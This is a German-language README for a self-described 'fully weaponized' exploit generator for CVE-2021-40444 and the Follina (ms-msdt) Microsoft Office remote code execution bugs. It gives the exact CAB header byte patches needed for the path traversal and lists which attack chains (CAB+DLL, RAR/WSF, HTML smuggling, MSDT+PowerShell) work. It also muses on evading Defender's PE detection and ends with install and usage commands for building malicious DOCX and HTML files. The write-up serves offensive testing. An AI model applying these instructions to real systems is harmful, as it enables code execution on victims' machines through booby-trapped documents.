
CVE-2021-40444 - Vollständig bewaffneter Microsoft Office Word RCE-Exploit
Bösartiger Docx-Generator zur Ausnutzung von CVE-2021-40444 (Microsoft Office Word Remote Code Execution), funktioniert mit beliebigen DLL-Dateien.
Der Generator kann nun auch das Dokument generieren, das für den "Follina"-Angriff (unter Verwendung von ms-msdt) erforderlich ist.
Obwohl bereits viele PoCs im Internet kursieren, habe ich beschlossen, mich selbst an der Aufbereitung dieser Schwachstelle zu versuchen, da das, was ich verfügbar fand, keine wertvollen Informationen enthielt, die es wert wären, geteilt zu werden, zumal Microsoft bereits einen Patch für diese Schwachstelle veröffentlicht hat.
Bisher sind die einzigen wertvollen Ressourcen, die ich gesehen habe, um einen voll funktionsfähigen Generator zu erstellen:
Die obigen Ressourcen skizzieren viele der Anforderungen, die für die Erstellung einer vollständigen Kette erforderlich sind. Um zu vermeiden, zu viele unnötige Informationen zu wiederholen, werde ich nur die relevanten Details zusammenfassen.
Es gibt eine ganze Reihe übersehener Anforderungen für die Funktionsfähigkeit dieses Exploits, die dazu führten, dass selbst gute PoCs, wie der von lockedbyte, nicht richtig funktionierten.
Vielleicht hat niemand explizit Details "veröffentlicht", um zu vermeiden, dass die Schwachstelle weiter ausgenutzt wird. Aber jetzt ist sie gepatcht, daher sollte es keine großen Probleme bereiten, die Details zu veröffentlichen.
Laut diesem Tweet von Will Dormann, muss das HTML mindestens 4096 Bytes groß sein, um die "Vorschau" in MS Word auszulösen.
Die CAB-Datei muss byteweise gepatcht werden, um Extraktionsfehler zu vermeiden und den ZipSlip zu erreichen:
filename.inf sollte zu ../filename.inf werdenfilename.inf coffCabStartCFFOLDER.typeCompress CFFOLDER.coffCabStart sollte um 3 erhöht werden (aufgrund des hinzugefügten '../')CFFOLDER.cCfData CFFILE.cbFile sollte größer sein als die gesamte CFHEADER.cbCabinetCFDATA.csum Die Gründe für diese Einschränkungen sind vielfältig, und ich habe nicht genug Zeit aufgewendet, um sie alle tiefgehend zu verstehen, aber sehen wir uns die wichtigsten an:
HINWEIS1: Defender erkennt jetzt, ob die CAB-Datei eine PE enthält, indem der Wert _IMAGE_DOS_HEADER.e_magic als Signatur verwendet wird,
was möglicherweise verhindert, dass PE-Dateien in das CAB eingebettet werden. Kann diese Signatur umgangen werden?
Ich bin mir nicht sicher, aber wie bereits beobachtet, handelt es sich um eine gepatchte Schwachstelle, daher plane ich nicht, viel mehr Zeit
darin zu investieren. Es liegt am neugierigen Leser, dies weiterzuentwickeln.
HINWEIS2: Der Microsoft-Patch blockiert beliebige URI-Schemata, anscheinend mit einem Blacklist-Ansatz (dies ist nur eine Annahme).
Die Hauptangriffskette im Zusammenhang mit CVE-2021-40444 ist der DLL-Angriff, der über das .cpl-URI-Schema geladen wird. Um
dies auszunutzen, muss ein Angreifer eine speziell präparierte DLL erstellen. Wenn Sie es testen möchten, probieren Sie mein evildll-gen-Skript.
Wie von Max Maluin angemerkt, ist es möglich, mit verschiedenen Dateitypen zu interagieren, indem man IE und die zugehörigen dateiendungsbasierten URIs missbraucht. Dies mag zwar ein guter Weg sein, IE auszunutzen, hat jedoch Einschränkungen.
Es sollte beachtet werden, dass die im Exploit verwendete Methode zum Herunterladen von Dateien auf ActiveX-Control-Updates basiert
und nicht zum Herunterladen beliebiger Dateien verwendet werden kann.
Gemäß Microsoft Dokumentation kann das codebase-Tag
nur auf wenige Dateitypen verweisen: OCX, INF und CAB.
Selbst wenn wir eine OCX- oder INF-Datei direkt herunterladen können, können wir nicht sicher sein, dass die Datei am richtigen Ort
im System abgelegt wird. Mit dem CAB-Exploit ist es möglich, die .inf-Datei mithilfe des Path-Traversal in einen bekannten Pfad zu verschieben,
aber in jedem anderen Fall wird die Datei in einem zufälligen Verzeichnis gespeichert, was es praktisch unmöglich macht, darauf zu verweisen.
Bis heute habe ich keinen Weg gefunden, Download und Ausführung OHNE eine CAB-Datei zu verketten.
Anmerkung: Wenn man nur über IE spricht, könnte HTML-Schmuggel ein mögliches Szenario sein, um die Schwachstelle auszunutzen.
Diese Technik wurde zuerst von Eduardo Braun auf Twitter enthüllt und in diesem Papier weiter erläutert.
Bitte beachten Sie, dass die Angriffskette bei dieser Technik etwas anders ist. Dieser Angriff erfordert, dass der Benutzer eine speziell präparierte RAR-Datei herunterlädt, die durch Verkettung eines gültigen WSF-Skripts und einer gültigen RAR-Datei entsteht. Sobald sie geöffnet wird, enthält die RAR ein DOCX mit einem Verweis auf ein HTML, das wiederum versucht, die RAR-Datei als WSF-Skript zu laden.
Zusammenfassung:
Das Generator-Dienstprogramm kann derzeit die folgenden Angriffe reproduzieren:
| Angriff | HTML-Vorlagen | Ziel | Liefermethode | Ausführungsmethode | Funktioniert |
|---|---|---|---|---|---|
| Originalversion des Angriffs | cab-orig-* | WORD | DOCX | CAB + DLL | JA |
| j00sean IE-only-Angriff | cab-orig-j00san | IE | HTML | CAB + DLL | JA |
| Meine Version ohne DLL | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NEIN1 |
| Eduardo B. "CABless"-Angriff mit RAR | cabless-rar-* | WORD | RAR | WSF | JA |
| Modifizierter j00sean-Angriff + HTML-Schmuggel | cabless-smuggling-* | IE | HTML | JS/VBS | JA2 |
| Follina-Angriff | cabless-msdt-* | WORD | DOCX/RTF | MSDT + PS | JA3 |
1Das CAB wird in manchen Umgebungen nicht richtig heruntergeladen
2Der Benutzer muss in IE auf "Speichern" klicken, um die Datei herunterzuladen
3Funktioniert nicht wirklich auf allen Windows/MS Word-Versionen
Das Dienstprogramm cab_parser.py kann verwendet werden, um die Header der Exploit-Datei anzuzeigen, betrachten Sie dies jedoch nicht als vollständigen
Parser. Es ist ein sehr schneller und schmutziger CAB-Header-Viewer, den ich entwickelt habe, um zu verstehen, was vor sich geht.
Der Generator ist für die Arbeit unter Windows ausgelegt, da er das Dienstprogramm makecab verwendet. Stellen Sie vor der Verwendung sicher, dass die erforderlichen Abhängigkeiten installiert sind:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
Der Generator ist trivial zu verwenden, und obwohl er mit einer Reihe verschiedener Payloads und Windows-Versionen getestet wurde, ist er nicht narrensicher. Mir begegnen unterschiedliche Verhaltensweisen in verschiedenen Windows-Builds. Sobald ich mehr Details zu teilen habe, werde ich sie hier posten.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
Hinweis: Der Port wird von der URL gewählt, und der Exploit wird basierend auf der Dateierweiterung der Payload generiert.
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert